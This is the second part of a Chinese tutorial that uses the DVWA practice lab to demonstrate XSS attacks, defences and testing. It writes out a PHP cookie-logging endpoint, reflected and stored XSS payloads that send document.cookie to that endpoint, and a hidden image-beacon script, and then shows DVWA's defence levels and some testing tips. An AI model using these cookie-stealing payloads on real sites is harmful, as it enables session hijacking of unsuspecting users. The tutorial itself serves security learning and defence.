如何發起、防禦和測試XSS攻擊,我們用DVWA來學習(下)
上一篇我們瞭解了XSS攻擊的原理,並且利用DVWA嘗試了簡單的XSS攻擊,這一篇我們來實現更復雜的攻擊,然後探討防禦機制和測試理念。
前面我們通過指令碼注入讓網頁彈出了使用者cookie資訊,可以光彈窗是沒有什麼用的,接下來我們想辦法把這些資訊傳送出去。
2.1 使用反射型XSS攻擊盜取使用者cookie
我們去網站的根目錄低下,新建一個cookie.php檔案,寫入以下程式碼:
<?php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $time = date('Y-m-d g:i:s');$fp = fopen("cookie.txt","a"); fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie. "\r\n"); fclose($fp); ?>
這個php檔案就是通過獲取‘c’引數,將瀏覽器的cookie值進行傳遞,並最終寫入同目錄下一個名為cookie.txt檔案裡。
接下來我們嘗試用反射型XSS攻擊來向這個php檔案傳送使用者cookie。
我們構造出這樣的URL:http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location="http://127.0.0.1/dvwa/cookie.php?c="+document.cookie</script>
(注意我們只是在試驗XSS攻擊,所以備攻擊網站和攻擊者的網站我用了同樣的本地地址,實際中後一個127.0.0.1將會是黑客的網站地址)
在DVWA中,反射型XSS試驗頁面裡,我們填入URL位址列,回車發現並沒有起到效果。
進一步我們將以上URL進行字元轉義,構造成以下樣式:http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location="http://127.0.0.1/dvwa/cookie.php?c="%2bdocument.cookie</script>
再次輸入位址列並且訪問。結果是,使用者的cookie就被傳遞並且寫入我的cookie.txt檔案裡了:
到這裡我們已經成功實現了使用反射型XSS攻擊盜取使用者資訊的目的。拿到了使用者的cookie,我們就可以通過cookie替換,去登入被盜者的賬號,後面能做的事情就有些不可描述了。
實際中的攻擊者會將這種帶攻擊URL經過偽裝,通過郵件或者聊天工具傳送給被攻擊者。一旦開啟這個連結,恭喜你你就已經中招了。
2.2 使用儲存型XSS攻擊盜取使用者cookie
接下來再來嘗試用儲存式攻擊實現同樣的目的。
我們先嚐試去到DVWA的留言板頁面,類似的我們直接寫入剛才用到的這段指令碼:
<script>document.location="http://127.0.0.1/dvwa/cookie.php?c="+document.cookie</script>
提交以後,這段留言就被注入到了網頁原始碼裡面。下次只要有使用者訪問到這個留言板,那麼就會把他的cookie資訊傳送給我,並被儲存到我的文字檔案裡。
不過我發現這樣做,留言板頁面內容本身會有展示上的問題,攻擊容易被發現。
於是我們再多加一層處理,我們再在同樣的目錄下,新建一個cookie.js檔案,寫入以下程式碼:
var img = document.createElement('img'); img.width = 0; img.height = 0; img.src = 'http://127.0.0.1/dvwa/cookie.php?c='+encodeURIComponent(document.cookie);
可以看到我們引入了一個img元素,然後賦予他src值,指向的還是我們之前的cookie.php。
接下來再去到留言板,用程式碼將這個js注入:
<script src="http://127.0.0.1/dvwa/cookie.js"></script>
提交儲存,再次訪問這個留言板,我們發現使用者的cookie又被盜取到了:
2.3 XSS攻擊的防禦:
之所以推薦DVWA這個應用,除了是我們很好的試驗學習場地之外,還有一點是他給我們提供了應對攻擊的方法。
去到\DVWA\vulnerabilities\xss_r\source目錄,可以看到,有4個不同安全級別的php檔案,分別對應不同級別的防禦方式:
Low:沒有任何防禦
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
Medium:置換掉任何帶有<script>標籤的輸入
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } ?>
High:通過正則表示式的搜尋和替換置換掉<script>標籤
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } ?>
Impossible:使用htmlspecialchars函式把預定義的字元&、”、 ’、<、>轉換為 HTML 實體,防止瀏覽器將其作為HTML元素。
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
2.4 XSS攻擊的測試:
我們可以直接去審查網頁程式碼,如果程式碼在進行前後端互動的過程中,對於提交的變數沒有做encoding處理,那麼可以預見就會有XSS攻擊風險。
也可以通過模擬攻擊的方式去測試:
檢查被測網站中,有沒有可以提交輸入的區域,比如文字輸入框,留言板功能。
檢查被測網站中,有沒有通過URL傳遞引數給後臺處理的機制。
如果有這些特性,那麼我們就可以通過模擬黑客攻擊,使用XSS指令碼對於這些網頁進行測試。比如輸入區域,使用我們之前的彈窗XSS指令碼,看看會不會彈窗,如果會那麼說明網站是可被XSS攻擊的;對於URL我們通過引數的修改,在引數中插入XSS指令碼執行,如果指令碼執行成功,同樣說明網站是可被XSS攻擊的。
更推薦的其實是通過自動掃描工具去進行安全性測試。市面上這類工具很多,比如BurpSuite,Fiddler等等。